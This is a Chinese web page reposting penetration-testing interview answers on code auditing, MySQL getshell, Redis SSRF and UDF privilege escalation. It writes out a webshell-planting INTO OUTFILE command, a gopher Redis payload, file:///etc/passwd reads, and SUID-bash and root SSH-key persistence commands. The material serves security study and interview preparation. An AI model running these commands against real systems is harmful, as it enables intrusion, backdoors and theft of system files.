当前位置: 首页 > news >正文

2025年渗透测试面试题总结-31(题目+回答)

安全领域各种资源,学习文档,以及工具分享、前沿信息分享、POC、EXP分享。不定期分享各种好玩的项目及好用的工具,欢迎关注。

目录

一、代码审计核心思路(261)

二、MySQL Getshell前提(262)

三、mysql.ini 关键配置(263)

四、Redis SSRF攻击内网(264)

攻击流程:

常用协议及用途:

五、UDF提权详解(265)

原理流程:

实操步骤:

六、网络安全学习资源(266)

推荐矩阵:

二百六十一、代码审计的思路是什么二百六十二、mysql getshell的前提是什么二百六十三、其中需要mysql.ini 配置参数应该是怎样二百六十四、redis ssf 如何攻击内网,可以用到哪些协议二百六十五、说一下udf提权二百六十六、平常经常在哪些地方学习

一、代码审计核心思路(261)

mermaidgraph LR A[信息收集] --> B[静态分析] B --> C[动态验证] C --> D[漏洞利用] D --> E[报告输出]
  1. 四阶段审计法
    • 入口定位:扫描用户输入点(GET/POST参数、文件上传、Cookie)
    • 数据流追踪:跟踪外部输入在代码中的传播路径(如$_GET→SQL查询
    • 危险函数检测
      • 执行类:eval()/system()/exec()
      • 文件类:file_put_contents()/move_uploaded_file()
      • 反序列化:unserialize()
    • 上下文验证:确认过滤机制有效性(如htmlspecialchars()位置是否正确)

二、MySQL Getshell前提(262)

需同时满足:

  1. 数据库权限
    • FILE权限:SELECT user,file_priv FROM mysql.user
    • 可通过GRANT FILE ON *.* TO 'user'@'%'获取
  2. 路径条件
    • 已知Web绝对路径(通过报错/配置文件泄露)
    • secure_file_privNULL状态(通过SHOW VARIABLES LIKE 'secure_file_priv'验证)
  3. 写入可行性
    • 目标目录MySQL进程可写(Linux默认/tmp,WindowsC:\Windows\Temp
    • 非只读文件系统

📌 关键命令:

sqlSELECT '<?php system($_GET[cmd]);?>' INTO OUTFILE '/var/www/html/shell.php'; 

三、mysql.ini 关键配置(263)

ini# 允许文件导出(必须为空或指定目录) secure_file_priv = "" # 开启加载本地数据(非必须但推荐) local-infile = 1 # 设置插件目录(UDF提权需用) plugin_dir = /usr/lib/mysql/plugin/ # 配置项验证命令: SHOW VARIABLES LIKE 'secure_file_priv';

四、Redis SSRF攻击内网(264)

攻击流程:
mermaidsequenceDiagram Attacker->>+Vulnerable_Server: SSRF请求 Vulnerable_Server->>+Redis: Gopher协议指令 Redis-->>-Vulnerable_Server: 返回响应 Vulnerable_Server-->>-Attacker: 回显结果 
常用协议及用途:
协议攻击场景Payload示例
Gopher发送任意Redis命令gopher://127.0.0.1:6379/_*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0ax%0d%0a$10%0d%0aevilcommand%0d%0a
Dict端口扫描/服务探测dict://192.168.1.1:80/info
HTTP穿透WAF攻击内网Web应用封装Redis命令为HTTP POST
File读取服务器敏感文件file:///etc/passwd

五、UDF提权详解(265)

原理流程:
mermaidgraph TB A[上传恶意.so/.dll] --> B[创建UDF函数] B --> C[调用函数执行命令] C --> D[获取系统权限]
实操步骤:
  1. 环境检测
    • 确认MySQL版本:SELECT @@version
    • 获取插件路径:SHOW VARIABLES LIKE 'plugin_dir'
  2. 上传共享库
    • 利用SELECT ... INTO DUMPFILE写入udf.so (需16进制转换)
  3. 函数创建
    sqlCREATE FUNCTION sys_exec RETURNS INTEGER SONAME 'udf.so'; SELECT sys_exec('chmod 4755 /usr/bin/bash');
  4. 权限维持
    • 添加SSH密钥:echo pub_key >> /root/.ssh/authorized_keys
    • 创建SUID后门:chown root:root /bin/bash; chmod 4777 /bin/bash

六、网络安全学习资源(266)

推荐矩阵:
类型推荐平台核心价值
漏洞实验室Hack The Box、TryHackMe真实渗透环境实战
技术社区Reddit r/netsec、先知社区前沿漏洞分析/工具分享
视频课程PentesterLab、OffensiveSec手把手教学(含CVE复现)
博客追踪PortSwigger、Project Zero深度技术解析(如0day分析)
CTF平台CTFtime、攻防世界竞赛驱动技能提升
漏洞库Exploit-DB、CVE Details最新漏洞PoC/影响分析
代码仓库GitHub(关键词:CVE/PoC)开源工具链(如sqlmap源码研究)
http://www.dtcms.com/a/348244.html

相关文章:

  • leetcode 1504. 统计全 1 子矩形 中等
  • `malloc` 内存分配函数
  • fastdds:topic instance
  • 【嵌入式】【搜集】状态机、状态迁移图及状态模式材料
  • 【线性代数】常见矩阵类型
  • 【Nginx系列】查看 Nginx 的日志
  • Building Systems with the ChatGPT API 使用 ChatGPT API 搭建系统(第八章学习笔记及总结)
  • Hibernate详解
  • GaussDB 数据库架构师修炼(十八) SQL引擎-分布式计划
  • 保姆级Maven安装与配置教程(Windows版)
  • SpringCloud Alibaba核心知识点
  • MIT 6.5840 (Spring, 2024) 通关指南——入门篇
  • 项目学习总结(4)
  • Java内存泄漏详解:检测、分析与预防策略
  • 大语言模型的自动驾驶 LMDrive/DriveVLM-Dual
  • 电动车运行原理与最新人工智能驾驶技术在电动车上的应用展望:从基础动力系统到L5级完全自动驾驶的技术深度解析
  • EndNote 2025 Mac 文献管理工具
  • Multitouch for mac 触控板手势增强软件
  • Multi-output Classification and Multi-label Classification|多输出分类和多标签分类
  • 跨语言文化的统一语义真理:存在性、形式化及其对自然语言处理(NLP)深层语义分析的影响
  • 什么是大模型的指令跟随
  • Preprocessing Model in MPC 3 - 基于同态加密的协议 - Over Fields 有限域
  • Python 列表:定义、操作、推导式与嵌套
  • 西门子 SCL 简单案例
  • 计算机视觉学习路线:从入门到进阶的完整指南
  • 最近遇到的几个JVM问题
  • java学习 + 一个向前端传流顺序不一致的一个解决思路
  • c++ 常用接口设计
  • C#_依赖注入(DI)
  • vulnhub-billu_b0x靶机渗透